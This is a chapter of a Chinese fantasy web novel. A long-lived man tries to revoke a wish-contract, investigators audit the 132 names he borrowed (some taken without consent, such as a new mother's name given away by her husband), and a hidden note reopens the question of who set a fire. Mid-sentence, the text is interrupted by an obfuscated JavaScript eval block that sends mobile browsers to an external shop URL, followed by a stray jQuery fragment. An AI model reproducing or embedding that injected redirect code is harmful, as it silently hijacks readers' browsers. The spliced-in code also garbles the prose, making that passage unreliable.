顾闻川站在那两个选项前，很久没有动。
【继续。】
【撤愿。】
他手腕上的黑字已经爬到肘弯，伤口还在往外渗血。九十七年里，他换过一百三十二个旁名，想尽办法把“沈归鹤”留在第八层，却从没想过，自己活到今天，可能根本不是逃过了死。
是那张愿契不准他死。
宁照夜看了他一会儿：“舍不得？”
“你很希望我选撤愿？”
“我希望你自己选。省得一会儿又说是别人逼你。”
顾闻川笑了笑，笑意很淡。他抬起手，最后按在【撤愿】上。
所有人都以为愿契会立刻发生变化。
什么都没有。
几秒后，页面重新跳出一行字。
【身份核验失败。】
【原始许愿人：沈归鹤。】
【当前申请人：顾闻川。】
【无权撤销他人愿望。】
宁照夜先愣了一下，随即笑出了声：“这回倒讲起规矩了。”
顾闻川的脸色却难看得厉害。他再次按下撤愿，系统仍然给出相同结果，连字都没变。
谢明烛走过去：“你刚才还说自己不是沈归鹤。”
“我是他的延续受益人。”
“领好处的时候是，撤愿的时候不是？”
顾闻川偏头看她：“这不是我定的。”
“所以现在得把账理清。”
谢明烛翻开黑色神簿。顾闻川身边那一百多张诉纸立刻围了过来，却没有像之前一样往他身上贴，而是一张张排在原始愿契之后。
最前面出现新的审理项。
【原愿撤销权归属待核。】
【事实一：顾闻川持续享有原愿利益。】
【事实二：顾闻川使用沈归鹤记忆及愿社权限。】
【事实三：顾闻川拒绝承认沈归鹤人格身份。】
【请确认：是否以“延续受益人”身份承担撤愿清算？】
这一次，只有一个选项。
【确认。】
顾闻川盯着它：“不确认呢？”
神簿给出的回答很快。
【维持现状。】
“现状是什么？”
【原愿暂停新增效力。】
【既有愿价继续结算。】
【许愿人不得终止。】
也就是说，他可以不认。
那就继续活。
不能再借新的名字续寿，也不能让愿路恢复，可那张旧契仍然会吊着他，不让他真正死去。至于要吊多久，系统没写。
顾闻川沉默下来。
闻烬生站在旁边，忽然问：“活着很难受？”
顾闻川看了他一眼：“你不是最该懂？”
“以前懂。”
“现在呢？”
闻烬生抬了抬受伤的肩：“现在觉得，能死挺好。”
谢明烛正在检查神簿，闻言抬头：“这句话听着不太吉利。”
“不是现在死。”
“最好是。”
闻烬生点头：“知道。”
顾闻川看着两个人，忽然有些想笑，最后却没笑出来。
他伸手按下【确认】。
黑色神簿猛地翻过十几页。
【延续受益人确认。】
【撤愿程序启动。】
【撤愿不等于免责。】
【原愿终止前，须清算既得利益及未尽愿价。】
一百三十二张姓名条从第八层各处亮起，密密麻麻悬在顾闻川身后。那些名字有些完整，有些只剩半个，还有十几张已经淡得快看不清。
顾闻川回头看了一眼：“都要查？”
唐婧已经戴上手套：“你借的时候怎么没嫌多？”
“我没说不查。”
“那就别问。”
她把最近的一张姓名条接进档案设备。纸面上的字渐渐恢复，是一个很普通的名字。
赵延青。
男，二十三岁。
民国二十一年进入承仪会馆，登记职业是钟表学徒。姓名条背面还留着一张借名契，内容不长。
【借名一年。】
【所得：母亲药费。】
【愿价：一年旁名。】
最下面有赵延青的手印。
顾闻川开口：“这一份是自愿。”
唐婧没理他，继续往下看。
手印下面还有一行后来补进去的小字。
【借名期间，本人社会关系暂停使用姓名。】
再往下：
【若旁名使用者尚需续期，原主无正当理由不得提前取回。】
赵延青借的是一年。
顾闻川用了八个月。
按理说，剩下四个月应该归回原主。
可后面的记录写着：
【原主于借名后第五个月失踪。】
【姓名转无主。】
【余期收归会馆。】
沈蘅站在旁边：“人呢？”
没人知道。
档案上没有死亡证明，也没有离馆记录。赵延青像从借出名字那一天起，就慢慢从所有资料里消失了。
顾闻川盯着那张纸：“我没见过他。”
“你当然不用见。”唐婧说，“你借的是名字。”
“药费确实给了。”
“我没说没给。”
唐婧把那份契放到一边，重新标注：
【初始交易存在本人同意。】
【续期及姓名处置待核。】
没有因为赵延青后来失踪，就把最初那份自愿也一起抹掉；也没有因为他收过药费，就默认后面发生的一切都算他自己认。
第二张姓名条被取下来。
第三张。
有些人主动卖过旁名，有些是在还不上债后被迫抵进愿社，还有几个人根本没有签过任何借名契，只因为家人曾在承仪会馆许愿，姓名便被归进了“可代偿资产”。
一百三十二份，不是同一种情况。
顾闻川最初还会解释两句，后来便不说话了。
唐婧翻到第十七份时，忽然停下：“这一张你用过多久？”
顾闻川看了一眼名字。
“忘了。”
“再想。”
“应该不到一个月。”
这次的原主是个女人，叫周芃。
借名记录只有十九天。
可她没有拿钱，也没有许愿。
来源栏写的是：
【家属赠予。】
赠予人是她丈夫。
男人在承仪会馆求一份外派差事，愿价是“家庭中一项暂时不用的身份”。他选择了妻子的名字。
因为周芃刚生完孩子，很长时间不会出门工作。
系统认定，她的社会姓名暂时闲置。
沈若微看见这行字，脸色一下沉了。
周芃本人从头到尾没有签字。
十九天后，顾闻川停止使用这个名字。可周芃重新出现在户籍记录中时，名字已经和她对不上了。
医院叫她“某某母亲”。
婆家叫她儿媳。
丈夫叫她老婆。
所有人都知道她是谁，却没人再完整叫过一次周芃。
档案最后只留了一句：
【原主姓名自然失活。】
唐婧把纸放下：“自然？”
顾闻川没说话。
“你们还挺会给自己省责任。”
“这套分类不是我做的。”
“你用的时候没问。”
顾闻川终于抬头：“对。”
唐婧原本还准备说什么，反而被他这句堵住了。
顾闻川看着那张已经发脆的姓名条：“我当时只看剩余时长，不看来源。”
“为什么？”
“因为看了也不会不用。”
这句话比辩解难听得多，却是真的。
九十七年的前二十年，他还会记得自己拿过谁的名字。后来名字太多，愿社又把所有来源整理成“自愿”“闲置”“无主”“转赠”几个词，他只需要知道能用多久。
至于一个名字为什么会闲置，他不问。
谁把它转赠出来，他也不问。
神簿没有因为他的承认立即判什么，只把这一句话记进了应诉记录。
【延续受益人承认：明知来源可能存在争议，仍持续使用。】
顾闻川扫了一眼：“这东西还挺会记。”
谢明烛道：“你不喜欢，可以少说。”
“晚了。”
“确实。”
他看了她一眼，竟然没生气。
一百三十二份姓名不可能今晚查完。唐婧先把存在原始记录的四十七份单独封存，剩下的按来源分组，联系得到原主或后人的，交给调查人员继续核实。
系统还想按照“有效使用时长”直接折算顾闻川该还多少寿命，被谢明烛划掉了。
“寿命没法这样还。”
【既得利益需要返还。】
“人家丢的是名字，不一定想拿你几个月寿命。”
【若原主已死亡？】
“找到记录
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17801303|208250||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
再说。”
【若永远无法找到？】
“待查。”
系统没再争。
宁照夜坐在旁边，看他们把第一批姓名条一张张装进证物袋，忽然说：“沈归鹤以前最烦这两个字。”
“待查？”秦满问。
“对。”
“为什么？”
“他觉得什么都待查，事情永远做不完。”
宁照夜接过赵延青那张借名契，手指轻轻蹭过已经褪色的手印：“他总想先找一条能管所有人的办法，再慢慢补错的地方。”
谢明烛问：“你以前不这样？”
“我也这样。”
宁照夜承认得很干脆：“所以我们两个才能一起折腾出百名会馆。”
这倒让谢明烛多看了她一眼。
宁照夜笑笑：“别把我想得太好。当年要不是我先觉得无主名一份一份存太麻烦，也不会有那个暂寄位。”
“后来为什么变了？”
“出了一件事。”
“什么事？”
宁照夜没马上回答。
她从十七份首批愿契里抽出那张【求愿路不灭】，反过来照着灯看。纸页右下角有一块很浅的水痕，之前所有人都以为只是年代久了留下的污迹。
“这不是水。”
唐婧凑近：“像浆糊。”
“对。”
宁照夜用指甲在纸边轻轻一挑，一层薄得几乎看不见的衬纸露了出来。
唐婧立刻按住她：“别撕。”
“我知道。”
“知道还上手？”
“九十七年没修过纸，忘了。”
唐婧没好气地把愿契接过去，换软刷一点点清理。衬纸不是后来修复时加的，它和原契几乎同时贴上，只是颜色做得很接近，才一直没被发现。
揭开一角后，下面露出半行墨字。
不是沈归鹤的笔迹。
宁照夜的脸色变了。
“这是我写的。”
唐婧动作更慢。
整层衬纸取下后，原始愿契背面终于露出来。那里不是规则，也不是愿价，而是一段匆忙写下的记录。
【三月初七，修契室争执。】
【我拒签总契，归鹤强行落印。】
【十七愿已发，不可直接毁。】
【今夜先封愿路，再逐契退。】
最后一行写到一半，墨迹突然拖出很长一道，像写字的人被人撞开。
后面只剩五个字。
【火不是我放——】
字断了。
宁照夜盯着那一行，脸上彻底没了表情。
顾闻川也走了过来：“你刚才不是说沈归鹤放的火？”
“我记得他动过火。”
“这上面说不是你，不代表就是他。”
“对。”
宁照夜看了很久，忽然把那份契翻回正面：“我记错了一段。”
她之前记得，自己在修契室外被烧伤，进去时火已经起来。她也记得沈归鹤先动了神簿。
可这张纸证明，起火前她还准备当夜封掉愿路。
也就是说，当时除了她和沈归鹤，还有人不希望这件事发生。
谢明烛问：“原始愿契底本当年放在哪儿？”
“修契室。”
“烧没了？”
宁照夜抬头。
“不。”
她想起了一件事。
“承仪会馆的总契从来不放明柜。修契室桌子下面有一层防火夹仓，钥匙在主持人手里。”
所有人的目光同时转向宋仪真。
宋仪真皱眉：“现在的文化园没有这间修契室。”
宁照夜道：“你不知道，不代表它没了。”
“旧建筑九十七年前就烧毁重建。”
“修契室在地下。”
宋仪真的神情停了一下。
宁照夜已经站起身：“就在现在第七层和第八层之间。”
他们刚才从那里走过。
那段从现代金属档案库变成烧黑旧木梁的楼梯，所有人都以为只是旧建筑遗存。
宁照夜拿起自己的姓名凭证，转身往外走。
“如果夹仓没被打开，里面应该还有一份总契底本。”
顾闻川问：“还有什么？”
宁照夜脚步停了一下。
“第一次退神当晚的签名册。”
“谁进过修契室，谁动过总契，谁在火起来之前最后离开——”
她回头看向顾闻川。
“这次不用靠你的记忆猜。”